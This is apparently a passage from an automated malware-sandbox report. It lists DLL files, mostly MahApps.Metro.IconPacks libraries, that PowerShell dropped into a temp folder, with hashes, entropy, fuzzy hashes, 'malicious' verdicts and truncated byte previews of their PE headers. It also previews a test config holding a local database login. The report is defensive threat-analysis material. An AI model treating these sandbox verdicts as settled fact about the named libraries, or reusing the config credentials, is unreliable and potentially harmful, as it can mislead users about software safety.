SHA-256:	D437A06702BEF5D5B56F5A168626DAF81F6697AA52B3C74BCE17FCF8CDB4C05D
SHA-512:	347FD0ABA34F578256C46E4B5833EFCCB74E78D01BE4939AE38EFB6216D08DC087D346120BB26F670D70FB701C3FADB483AA33B7C6B8E4343487A6CF728BD6CA
Malicious:	false
Preview:	domain = localhost.prefix = admin.language = en.index = /.debug = true.open_admin_api = true.color_scheme = skin-black..[database.default]..host = 127.0.0.1.port = 5432.user = postgres.pwd = root.name = go-admin-test.max_idle_con = 50.max_open_con = 150.driver = postgresql..[store]..path = ./uploads.prefix = uploads.

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BootstrapIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2193920
Entropy (8bit):	3.241218320121525
Encrypted:	false
SSDEEP:	6144:CTuzE29sK1y7RQNsMse5AV54EFdxtkYVBQoahtxDfzjADAW4vBM9jd2e+pT9IaRr:4uzEBA
MD5:	8A999C6C4B38E3AFEF0B54CBD84180C6
SHA1:	991B865B6DCA9EAD7D47DFB22FAF584FEA276044
SHA-256:	73E67B8A6607064C314B0A5D72DEF055AE0599BEAE1E7073D7A10626543D7FD0
SHA-512:	030FCB028335A62EA7C05053835C09016643BC2A941537A7A3DD97913CBC7F6C501E6AD3FB24FDA4064D5ED08ED59702D911D7C9AA3F840E12E6DB843464236D
Malicious:	true
Joe Sandbox View:	Filename: @!Pa$sc0d#U00e9__6391-NewFiLes.rar, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.DropperX-gen.22837.6834.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.DropperX-gen.22837.6834.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...yHa..........." ..0..p!...........!.. ....!...... ........................!.......!...`..................................!.O.....!.<.....................!......!.8............................................ ............... ..H............text....o!.. ...p!................. ..`.rsrc...<.....!......r!.............@..@.reloc........!......x!.............@..B..................!.....H.......4y....!..........\|!.....P.!.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..mV......s*...%.r...po+...%.r...po+...%.r...po+...%.rm..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.BoxIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2140672
Entropy (8bit):	3.4171067542366806
Encrypted:	false
SSDEEP:	12288:NbuZ0HSkOZo/IMCPY3sgUVhv9Rhz4iamcXw9320uVBi0KwxWjYyF:o
MD5:	C01837735DB98ADE25E996C8FEC33BF6
SHA1:	626CC39C077942F70B72795E999A14D8729A7298
SHA-256:	7B28873C6B729262F6F02FF2DA46CA4AEAEBCF3799EABD460BFBBF4A0FCF01CA
SHA-512:	6BCE692E3BC1304B518A9B47244AF4E689AB81362906C3CEBF732DB0ECED533BBF5C9F3A779614F6B258E087B7CBE762A37A68373B4749F7C30EC330984A6F05
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._.B..........." ..0... .........2. .. .... ...... ........................!.......!...`.................................. .O..... ....................... ....... .8............................................ ............... ..H............text...8. .. .... ................. ..`.rsrc......... ....... .............@..@.reloc........ ....... .............@..B.................. .....H...........\|+ ......... . .X...x. .....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...]......s*...%.r...po+...%.r...po+...%.r.!.po+...%.r.".po+...%.rD0.po+...%.rc>.po+...%.r W.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	572928
Entropy (8bit):	3.3223543167774396
Encrypted:	false
SSDEEP:	6144:2tdYnKgBzqqrTzWBzqqrUzQ7M1L1MyzpmeJ4O:26O
MD5:	7F92130ABD27092C78A3E075334BB75E
SHA1:	14F0CF7594D998D35762E7ADA89143601B222613
SHA-256:	A22950CC45540743AC0FEAE232C4CFFEB25BAA54AC3604765907E849DDAD25EC
SHA-512:	68E23A47A5700DD84AB6B602842D723056CC26DB12A7D70336DA4C5EE0372CD95883DA7232A2527FEA21669F82FC1A44AFB647B6BF25084DD78174E25ED724F0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............z.... ........... ....................... ............`.................................(...O...................................@...8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................\.......H.......D9..$...........h...X...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..}.......s...%.r...po+...%.r...po+...%.r...po+...%.r!..po+...%.r...po+...%.r...po+...%.r..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Coolicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	462336
Entropy (8bit):	3.503968475511296
Encrypted:	false
SSDEEP:	6144:Psu6HHHYtONor0Gw90Lx5FkbrawYhhGqlQz08aWFe/HD6TYm5oE3e3FsPgiu9g3z:P1774BfdWECoBmW
MD5:	14F3F599E7A67C95D779820DBA5A9FFF
SHA1:	B88EA6CAA09ECF11D2E6DBAE039AB0734A823345
SHA-256:	213956439F1D224BE2F78AE9A345E2C02902750CD83A4A0439234AFE801E75E5
SHA-512:	E295AB8F8D90208F6A41320868D73A225A12BEDC15591F2A19103A659FB437016EBDED0C8FD62C61DB3A8DADAAFB07565CB76A51FD4113ACD20CD568E36807A2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....T_..........." ..0.............#... ...@....... ...................................`.................................."..O....@.......................`.......!..8............................................ ............... ..H............text...0.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H........;..................`...l!......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M.......s...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r%..po+...%.r8..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Core.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	5.390109018284199
Encrypted:	false
SSDEEP:	384:feCnIM4AZxFYzXKZHqwAodV5rroIYJFzcQ8tFq3qs6jUasojg4APsTTlj5a6wIYU:feu4RIDfov4bFyUjUnWsKGVD6
MD5:	B705C478C096EF8EA4FC0738D52D1C84
SHA1:	44EC80A1259DF99AC06CC342B03CA0FB9DB22FAF
SHA-256:	B6156814D7014A38587991B19EEC9228439BC0B2558CFA9BEDB4E72AC611FCCB
SHA-512:	F212CDE6C87920B3EE6E588C473987646C3F6DDCA4B2122DD876FF61815DC7DCCBBCB469024FD50CB0F3E1829643859E3EEC4C8A91442056624C6F5922344B35
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.}..........." ..0..D...........b... ........... ..............................N.....`..................................a..O.......T...........................4a..8............................................ ............... ..H............text...4B... ...D.................. ..`.rsrc...T............F..............@..@.reloc...............L..............@..B.................b......H......../..01...................`........................................(....r.(......}......}......}......{......{......{......(........0..........r...p.5...(.........(....r...ps....(.........~....o.........r...p.....(.........(..........s....(.........r...p.8...(.........(....#.........8....~(.........s ...s!...(.........r3..p.;...(.........(......;..........s"..........s ...s!...(.........r=..p.8...(.........(....#.......?.8..........s"..........s ...s!...(........

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Entypo.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	501760
Entropy (8bit):	3.476337116905034
Encrypted:	false
SSDEEP:	6144:5bworP4b71rPwhET9FDsBGZfiqJMUlOv5CuwVpKex7byEZAzftaDi/KAFwrSmfLM:9wKRLLKACX2m
MD5:	60AAA132D1992D132F7FBAEF8CD0CCB3
SHA1:	6F7D9226D195EFED993CAE4A2EA447E125CE1D23
SHA-256:	1017345EEAE7E6DF2B894C36EBAD15F469474CA612749C9E1865126175C74364
SHA-512:	1E82F82144674CF5591A1EAD06F8D37B5DAD11F16114C70664CD2891F6B32EF23AE543E34320105407E57D48543FAA2286A8D8FF21DFA7076BE3C18808D3A3EA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ..............................M.....`.................................t...O.......................................8............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........:..,p..........................................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=.......s*...%.r...po+...%.r...po+...%.r...po+...%.ra .po+...%.r.$.po+...%.r.'.po+...%.r.,.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.EvaIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	426496
Entropy (8bit):	3.4783544890120357
Encrypted:	false
SSDEEP:	3072:esRQOZCZi9zOr8G2OIC5kXgRXgFmrUjwD:/RQwLbmW+
MD5:	721F37645C32653200B06969419344B2
SHA1:	BA5A3868632E98ADEF61C7A2999E726881ECA4A7
SHA-256:	14D31CDF80FAB1DF0F874E4F8D8090B5393B6FFAC6CD86DFB5C71DD8F62F4E93
SHA-512:	F3D8375D2DF69FCE7E4DBFF68295281A94CDCE9DE86EF52AA951C7D2FF8CAD48777A76192D6A20F0B804B307D48914F66FCFF7BC25DA2AB946DE456079DB59DB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b!............" ..0..x.............. ........... ..............................@.....`.....................................O.......................................8............................................ ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B.......................H........?...D.............X...0.......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..-.......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r1..po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FeatherIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	4.3840952736770875
Encrypted:	false
SSDEEP:	3072:7QVRLunLLLaDLQv4xLi/CLU9d+AHXkusnqyKM/6dNzj23T2rB6ibsKwGv6mBhZQ:AikuVdNzj23Vmbe
MD5:	0CB966A395147C28DD9ABF5482AE64FC
SHA1:	81A657E20670A8CB120270047CAE1F552BA40100
SHA-256:	FA81D23B3EBF44D72897D673DFD750AE764DE32D8D05888E77D80018E041156B
SHA-512:	E58F13389F8E229AD44625320948F8FE1CBF469980C8774C1F8ECD4228EDD8039AF3E361CCEC91AE011460801169EB85E8AA1EEBE2BE2282CB8B6D7944C36F2F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#/..........." ..0................. ........... ....................................`.................................x...O.......0...............................8............................................ ............... ..H............text....... ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................H........3..Tx..........(...............................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..m.......s*...%.r...po+...%.r...po+...%.rQ..po+...%.r6..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FileIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2648064
Entropy (8bit):	3.106418018929637
Encrypted:	false
SSDEEP:	12288:Z88jUgEwEUkTS0B2gO32lSYGVHfkbuBzNl6iK4LbBzuqbBuQ0bCLf7PQGI0iFzmk:jhxyU
MD5:	7505DE114074730C17BFDCA7E7C5657D
SHA1:	72285CE3D75C803A4F2CB7244DBC5F6EA6B6E7C2
SHA-256:	6B876CC6E22E1BB6A9A7BC862C043AA49926760714A6D92122E436B561A659CB
SHA-512:	10CF63AA781D948B07D4BFB02FC66C5B72328D9FB9F8E6D4B5816C54851777F8E276B196693B17A14998F21387CDD030FD2BDA067C0547FCA366E651397CD65A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I............." ..0..^(.........f\|(.. ....(...... ........................(......(...`..................................\|(.O.....(.......................(.....({(.8............................................ ............... ..H............text...l\(.. ...^(................. ..`.rsrc.........(......`(.............@..@.reloc........(......f(.............@..B................F\|(.....H........X..4.(.........Hj(.`....z(.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M5......s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r9..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.FontAwesome.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2391040
Entropy (8bit):	3.4614238791705665
Encrypted:	false
SSDEEP:	24576:fojPJMpMIU11zYHfa//KM6sA/lUPKHMhY+4Pv6P/Mzk6A/MBn/MBY6k94PEeB7Bc:fojPJMu
MD5:	5214C8C29B814C62A89424429933D78E
SHA1:	AE62844A871389CFA1F36152621D896286F67872
SHA-256:	DBF78865859B0776DF2458AA7F490D66E1B54104873063E99F4B9A4D9D59ACCC
SHA-512:	BBB9A7ECBB95170A409B31A73ECB875938BF8BA29D5B470764208B9D6A41F447D23958F907D1A871218567186E78F4175EBD2A08112E26C1C8C99AF29C8DC535
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0..r$..........$.. ....$...... ........................$.......$...`...................................$.O.....$.$.....................$.......$.8............................................ ............... ..H............text....q$.. ...r$................. ..`.rsrc...$.....$......t$.............@..@.reloc........$......z$.............@..B..................$.....H............#...........$.P.....$.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=c......s...%.r...po+...%.r...po+...%.r..po+...%.r...po+...%.r...po+...%.r...po+...%.r.#.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontaudio.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	407552
Entropy (8bit):	3.2550447640993845
Encrypted:	false
SSDEEP:	3072:4KbKfVf+WDio/2G8K0b1+oxzsf+RSyXQfKZsyQQv0VndywQImZXZsU2ynIySoAYk:72ioilfc5dywHmZJt2SSCOROSJPmlu
MD5:	086160AA7449EA0D3C89393289D6CF3C
SHA1:	F0FD895CED7E9C2C96943754BEBD66FEFE6F9595
SHA-256:	8D6DA96F5612060F6EBDD76874C5DC52528665664F148D290697BF12CF884C3D
SHA-512:	85A4472F1B7B49A2512A5AC046FC7C6F501F4DED12671B94F02DBE424146852160C4AA19254AEE6FC435E2ECB3547378FF2D484D00F9F882E79399A1470D303A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%U............" ..0..............M... ...`....... ....................................`.................................:M..O....`..............................PL..8............................................ ............... ..H............text....-... ...................... ..`.rsrc........`.......0..............@..@.reloc...............6..............@..B................nM......H........+..l...........p;..`....K......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..=.......s*...%.r...po+...%.r...po+...%.rJ..po+...%.r...po+...%.r...po+...%.r...po+...%.r\|..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Fontisto.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2804736
Entropy (8bit):	3.0732089969952088
Encrypted:	false
SSDEEP:	12288:0KlPHWdRGyp9TZhvbfN8Meppp/z5RTl215hG9g7wJDZNsJ6TmGpkNOFEIH7/deH5:0Klz77FG
MD5:	3E3F7E5DEC93557B5C00E750B008DC23
SHA1:	BF0FA3E913E15C2090CAA238361094029D3E1DE2
SHA-256:	98FDFD6E8FABD67E9AF84453F4942333002D809F45184B04DB04060D61DC40BA
SHA-512:	331F867A0FDC51BFD8506C4D70F6CB867C90B122632E4392A59B0321FB8F51B4D840540F7029F30BEF87BC72E92B51031FF9C522670082EBE97001BB6091FF5D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M[............" ..0............6... ....+...... .......................@+.....U....`....................................O.....+...................... +........8............................................ ............... ..H............text...<... ..................... ..`.rsrc.........+....................@..@.reloc....... +....................@..B.......................H........G..P..........$..X...\|......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...%......s...%.r...po+...%.r...po+...%.r.'.po+...%.r.8.po+...%.rB@.po+...%.rWA.po+...%.r.B.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1097728
Entropy (8bit):	3.4155171816279806
Encrypted:	false
SSDEEP:	12288:z6+zsd+TlD2jsdXbjc7DeCmLp5M2YQeB1gOR95CYF323Jd3vrW27M:F
MD5:	AFD3000EBB93066ADF25E1CBB1A8CEA2
SHA1:	F60CAE59CEB4A91293FD5F0B976B3B518344465B
SHA-256:	4C245AAD2D0B737BD71BBED74F13E680761F555F34D68A71A952B36E1B6C07FD
SHA-512:	87C985C2B6F692AF978829BB5004550531F5F2BBE0B33E670B4923B6B1CE87B67CBC0F8497285C740E81FE3975219F7F748DA3AAB478867868441DBF43F9CE2F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....pA..........." ..0.............r.... ........... ....................... ............`.....................................O.......$...........................0...8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................R.......H........R..Do..........8...x...........................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..-0......s*...%.r...po+...%.r...po+...%.r...po+...%.rG..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	828928
Entropy (8bit):	3.5174500426892106
Encrypted:	false
SSDEEP:	24576:9tfrefrQCo6/8WDJrOk/AsLwlYD2W2GHBcFBcqML/hmYNIMWQX5Bm6tX6/6OS3Is:cskB
MD5:	E23FBF850082183ECF21B30C53458672
SHA1:	E4F73014934DC16000743F8E1B27DB767EDE6691
SHA-256:	02C5D5A1AEEBA3BC047CF412F865C082312FC4DF3736B2107113BD3AA9E77B50
SHA-512:	605403D551B089239F9B3C5BEFE6214C53A28F00442C0B0BA3F863A112BF7C4C1A22A143B068496237B37FC260C4C73751524CD48401FC1EE17F41F6F61C2075
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{y............" ..0.............6.... ........... ....................................`....................................O.......................................8............................................ ............... ..H............text...<.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........L...[..........L...0...\|.......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0.........s...%.r...po+...%.r...po+...%.r...po+...%.r)..po+...%.r...po+...%.r...po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1236992
Entropy (8bit):	3.2795134963443715
Encrypted:	false
SSDEEP:	6144:j5edQUzaozHKw6jBWW6jBWat7l4n0d9erx/uNZUS8i8O1iixKT22:j5etWH
MD5:	9689899D8ED3A330B381AEC82459C867
SHA1:	45C8C0AAEFD706BBE30F5640A085AD2D33A88C30
SHA-256:	665D0A1A6CDC05F166761142CB96F2C3D4EED384B99349E8DEE197DB4C451BAB
SHA-512:	735E007171221083656D3CCCC904890A69494D6E4F8D3830BFE07C4324C2C64A6D75D9ABC74B3FDCAC0F34541E5E00B761B9E42D4B3962B1EC9B71D6BD8EE09E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ........... .......................@......O[....`.....................................O.......l.................... ..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...l...........................@..@.reloc....... ......................@..B........................H........\..................X...L.......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..M9......s...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rW3.po+...%.r67.p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Material.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4925952
Entropy (8bit):	3.6892371390096232
Encrypted:	false
SSDEEP:	6144:jQfN8PRtFlJntIkeUXpWeqQ0c4nr+O12Agvtt1tG5P0M3eFBXUuZLf0W/vouIs3w:1LheqpwQZOqvM1TKPr
MD5:	397CB6132F9632189D6F2B3BC9BB2B04
SHA1:	F7113885294E61F21E6021F6F3A50BB0EB60B0A6
SHA-256:	A34174C9E4BBEB8B8592221E4E0FBF273E008C475875B5A4AF45F5266ED58373
SHA-512:	0E5BCF302A6DBB76CFB7E00476D41367851DF9B42E2F9B0C821FD6DB018FDA30A2B405026D52A7677AF65D35DDC4405260C1BD9EB47C22154B23F77BE56DD336
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8.A..........." ..0.. K..........?K.. ...@K...... ........................K.......K...`.................................L?K.O....@K......................`K.....d>K.8............................................ ............... ..H............text.....K.. ... K................. ..`.rsrc........@K......"K.............@..@.reloc.......`K......(K.............@..B.................?K.....H...........\|I..........-K.0....=K.....................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..?.......s*......r...po+.....r...po+.....r8..po+.....r-..po+.....r...po+.....r...po+.....r...

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialDesign.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	480768
Entropy (8bit):	3.887681947109411
Encrypted:	false
SSDEEP:	6144:/ftpoKWwlO8OrOvd2zOPu8kNOkoh3zuq0CQ5JvS2c32zUeAs1cBqP0PfMmfcZmJi:9+KvGOA3p
MD5:	AA29752C44782D78A8C43BDE0D18E06A
SHA1:	D32CDA7D43775BE1A95FD3BAE82C35FC307DB6E3
SHA-256:	9FB5BB886AF9D50E0570702BE1537B704E24FA1B58987C88113735F1764A1C99
SHA-512:	5F39055842986FA980C12ED62BE98D9D176A57A82E079F0CE19B3F569B4B3DC2EFE2FF0A817BE17FE357EB701544BB48A3A4F6D9BB83FEC3318D372CD2A5B06D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..L...........j... ........... ...................................`.................................pj..O.......<...........................\|i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc...<............N..............@..@.reloc...............T..............@..B.................j......H........[..............dX.......h......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0...8......s*...%.r...po+...%.r...po+...%.r...po+...%.r-..po+...%.rJ..po+...%.rQ..po+...%.rl..p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.MaterialLight.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	275968
Entropy (8bit):	3.553433529986651
Encrypted:	false
SSDEEP:	3072:2IpwewTXjU9BxG/v7YEsr6LqvIE8/H+rhDuIs0ETHaGhRgz+FYx7ZLnEk7OBCg6C:fp4TZY9ZR5l5FQ2bWmbu
MD5:	C32E8B2E101A5FC3BE2DE01CE158A69C
SHA1:	2D6E35D39D3597A3BF5CF785028772EE43D66321
SHA-256:	334193B0810FF22479FA4A8264118A6FA716E40102851D221F0901FAF7525402
SHA-512:	6136C85C416F58AF14B6E68F2F65979EC83CB5393CA2CEF355A2402B5A59C3C1FCDA32D182EE872C8EA862AB14BA2B7623B81E46B290AF8BC0821AE718138A60
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..,..........~J... ...`....... ..............................-j....`.................................J..O....`..0...........................8I..8............................................ ............... ..H............text....... ...,.................. ..`.rsrc...0....`......................@..@.reloc...............4..............@..B................^J......H.......,1..,...........X8..`....H......................................r..(......(.......t....o....F.~....(.........J.~..........(.......0..^.......r...p.....(.........(.................s....s....(.........~ ........(.........(....s!...o".....(#...J.~..........($.......0..8........(....,(..(....o%...%-.&+..(......o&...&..('.....('....~....z(....-........s(...s)...........0..........s*...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.r...po+...%.rk..po+...%.r...p

C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Microns.dll

Download File

